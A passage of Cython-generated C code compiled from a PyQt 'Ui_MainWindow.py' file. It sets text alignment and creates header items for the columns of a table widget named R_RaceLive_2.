item.setTextAlignment(QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) * self.R_RaceLive_2.setHorizontalHeaderItem(1, item) */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 826, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 826, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 826, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 826, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":827 * self.R_RaceLive_2.setHorizontalHeaderItem(0, item) * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setHorizontalHeaderItem(1, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setTextAlignment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 827, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 827, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Qt); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 827, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_AlignTrailing); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 827, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 827, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Qt); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 827, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_AlignVCenter); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 827, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyNumber_Or(__pyx_t_7, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 827, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 827, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 827, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 827, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 827, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 827, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":828 * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) * self.R_RaceLive_2.setHorizontalHeaderItem(1, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(2, item) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 828, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 828, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_3, __pyx_int_1, __pyx_v_item}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 828, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_3, __pyx_int_1, __pyx_v_item}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 828, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_1 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 828, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_3) { __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; } __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_1); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_v_item); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_1, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 828, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":829 * item.setTextAlignment(QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) * self.R_RaceLive_2.setHorizontalHeaderItem(1, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * self.R_RaceLive_2.setHorizontalHeaderItem(2, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 829, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 829, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 829, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 829, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":830 * self.R_RaceLive_2.setHorizontalHeaderItem(1, item) * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(2, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(3, item) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 830, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 830, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_2, __pyx_v_item}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 830, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_2, __pyx_v_item}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 830, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_3 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 830, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_int_2); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_v_item); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_3, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 830, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":831 * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(2, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * self.R_RaceLive_2.setHorizontalHeaderItem(3, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 831, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 831, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 831, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 831, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":832 * self.R_RaceLive_2.setHorizontalHeaderItem(2, item) * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(3, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(4, item) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 832, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 832, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_3, __pyx_int_3, __pyx_v_item}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 832, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_3, __pyx_int_3, __pyx_v_item}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 832, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_1 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 832, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_3) { __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; } __Pyx_INCREF(__pyx_int_3); __Pyx_GIVEREF(__pyx_int_3); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_3); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_v_item); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_1, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 832, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":833 * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(3, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * self.R_RaceLive_2.setHorizontalHeaderItem(4, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 833, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 833, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 833, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 833, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":834 * self.R_RaceLive_2.setHorizontalHeaderItem(3, item) * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(4, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(5, item) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 834, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 834, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_4, __pyx_v_item}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 834, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_4, __pyx_v_item}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 834, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_3 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 834, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_4); __Pyx_GIVEREF(__pyx_int_4); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_int_4); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_v_item); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_3, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 834, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":835 * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(4, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * self.R_RaceLive_2.setHorizontalHeaderItem(5, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 835, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 835, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 835, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 835, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":836 * self.R_RaceLive_2.setHorizontalHeaderItem(4, item) * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(5, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive_2.setHorizontalHeaderItem(6, item) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 836, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 836, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_3, __pyx_int_5, __pyx_v_item}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 836, __pyx_L1_error) 